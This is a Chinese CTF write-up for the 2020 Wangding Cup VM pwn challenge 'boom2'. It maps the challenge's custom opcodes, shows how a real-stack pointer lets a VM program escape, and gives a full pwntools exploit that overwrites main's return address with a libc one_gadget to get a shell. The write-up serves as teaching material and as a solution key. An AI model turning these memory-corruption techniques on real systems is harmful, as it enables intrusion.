[pwn]VMpwn:2020網鼎杯青龍組pwn boom2 wp

2020網鼎杯青龍組pwn boom2 wp

比賽的時候被特斯拉那道隱寫噁心到了,導致一直在肝那道題,也沒看pwn,賽後看了組內大佬的wp,感覺這道pwn也不是很難,於是自己又做了一遍。這道題總共80+隊伍做出來,反而更難的pwn1 boom1卻有200+隊伍做出來,不得不說py真的很嚴重,賽後我看羣裏說比賽的時候好像有一份pwn1的exp在全網流通,有點小惡,但也無所謂,名詞不重要,自己學到東西纔是最重要的。
在這裏插入圖片描述

題目分析

首先檢查一下安全策略:
在這裏插入圖片描述
安全策略全開,然後簡單看一下邏輯:
在這裏插入圖片描述
執行之後讓你輸入code,隨便輸了一些東西之後就啥也沒有了。。。只能逆向看了:

看到程序基本只有一個main函數,幾乎全部的邏輯都是在main函數裏完成的,可以看到main函數主要部分是一個非常大的switch結構:
在這裏插入圖片描述
一般情況這種題目都是VM pwn或者是一個解釋器。這道題目是一個VM Pwn。

VM Pwn就是題目自定義了一套指令系統,並且模擬了一套CPU的環境(寄存器、棧等結構)我們需要通過逆向分析題目給定的指令系統,使用這些指令來讀寫虛擬內存之外的數據,也就是簡單的虛擬機逃逸。

本題邏輯不是很複雜:
在這裏插入圖片描述
題目先申請了兩個大小爲0x40000的內存空間,一塊用作虛擬棧,另一塊用作我們輸入的數據緩衝區。接下來對虛擬站進行了初始化,棧初始結構大概如下:

sp  : bp(虛擬棧底指針bp)
bp-3: real_stack(真實棧指針)
bp-2: 0
bp-1: 13
bp  : 30

可以從gdb中看出棧頂下面的一個地址是指向真實棧空間的:
在這裏插入圖片描述
我們可以利用這一個指向真實棧的地址來進行逃逸。

然後就是一個巨大的switch結構:
在這裏插入圖片描述
大體功能就是,從我們輸入的內容中獲取一個int64長度的值作爲指令,最多執行30個指令。各個指令並不難分析,有一些指令附帶操作數(opcode),有一些指令沒有,分析結果如下:

0 opcode: reg=[sp+opcode]
1 opcode: reg=opcode
6 opcode: push bp; bp=sp; sp-=opcode
8 opcode: leave; ret
9       : reg=[reg]
10      : reg=char([reg])
11      : [sp]=reg(int64)
12      : [sp]=reg(byte)
13      : push reg
14      : [sp]=[sp] | reg; pop reg
15      : [sp]=[sp] ^ reg; pop reg
16      : [sp]=[sp] & reg; pop reg
17      : [sp]=[sp] == reg; pop reg
18      : [sp]=[sp] != reg; pop reg
19      : [sp]=[sp] < reg; pop reg
20      : [sp]=[sp] > reg; pop reg
21      : [sp]=[sp] <= reg; pop reg
22      : [sp]=[sp] >= reg; pop reg
23      : [sp]=[sp] << reg; pop reg
24      : [sp]=[sp] >> reg; pop reg
25      : [sp]=[sp] + reg; pop reg
26      : [sp]=[sp] - reg; pop reg
27      : [sp]=[sp] * reg; pop reg
28      : [sp]=[sp] / reg; pop reg
29      : [sp]=[sp] % reg; pop reg
30      : exit

漏洞利用

這些指令本身沒什麼大問題,問題在於虛擬棧初始狀態中裏面有一個指向實際棧的指針,而我們可以通過加減運算來和9指令就可以獲取實際棧上的值(但無法回顯,只能參與運算)。通過11和12指令可以改寫實際棧上的值。

大體思路就是利用上述修改棧上值的手段修改棧上main函數的返回值爲onegadget。首先要看一下有哪些gadget(這裏用的是我自己的環境libc-2.27.so,比賽環境libc好像是跟第一題一樣)
在這裏插入圖片描述
可以斷在main函數返回的地方,來看一下滿足哪個onegadget:
在這裏插入圖片描述
可以看出滿足第一個onegadget。

然後是計算libc的地址,我們可以直接從棧上尋找:
在這裏插入圖片描述
可以看到main函數的返回地址(libc_start_main+231)正好是libc中的地址。那麼我們可以直接通過這個地址計算出onegadget的地址並且覆蓋回這個地址就好了(省事了。。。)

虛擬棧中的真實棧指針與返回地址的偏移爲:0x7ffc2f666330-0x7ffc2f666248=0xe8

利用步驟如下:

  1. 首先進行一次pop將初始棧頂的bp pop出來
  2. 這時棧頂就是真實棧指針了,然後利用指令1將reg寄存器置爲便宜0xe8,然後利用指令26,讓棧指針減0xe8,並利用指令13將結果重新入棧
  3. 使用指令9取值,獲取返回地址處的值(也就是libc_start_main+231的地址),並用13指令將獲取到的值入棧
  4. 利用指令1將reg置爲libc_start_main+231的偏移值offset,然後利用指令26讓libc_start_main+231地址減偏移,得到libc的基址,並用13指令將獲取到的libc基址入棧
  5. 利用指令1將reg置爲onegadget的偏移offset,然後利用指令25計算出libc基址加onegadget偏移,也就是onegadget的地址
  6. 這時棧頂是之前步驟2入棧的返回地址指針,利用指令11將onegadget寫入覆蓋返回地址
  7. 然後直接發送即可。

exp如下:

from pwn import * 
context.terminal=['tmux','splitw','-h']
p=process("./pwn")
#gdb.attach(p,"""
#b *$rebase(0xa0e)
#b *$rebase(0xa36)
#""")

libc231=0x7f9848c0cb97-0x7f9848beb000
onegadget=0x4f2c5
print p.recv()

payload=p64(14)  #步驟1
payload+=p64(1)+p64(0xe8)+p64(26)+p64(13) #步驟2
payload+=p64(9)+p64(13)   #步驟3
payload+=p64(1)+p64(libc231)+p64(26)+p64(13) #步驟4
payload+=p64(1)+p64(onegadget)+p64(25) #步驟5
payload+=p64(11) #步驟6
p.send(payload) #步驟7

p.interactive()

利用成功:
在這裏插入圖片描述
多說一嘴,比賽的時候並沒有提供libc,組裏大佬用的pwn1的libc做成功了。本質上來講這道題並不是很難,如果“如何獲取libc”也是考點的話,出題人希望以此來增加難度,那我只能說:辣雞。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章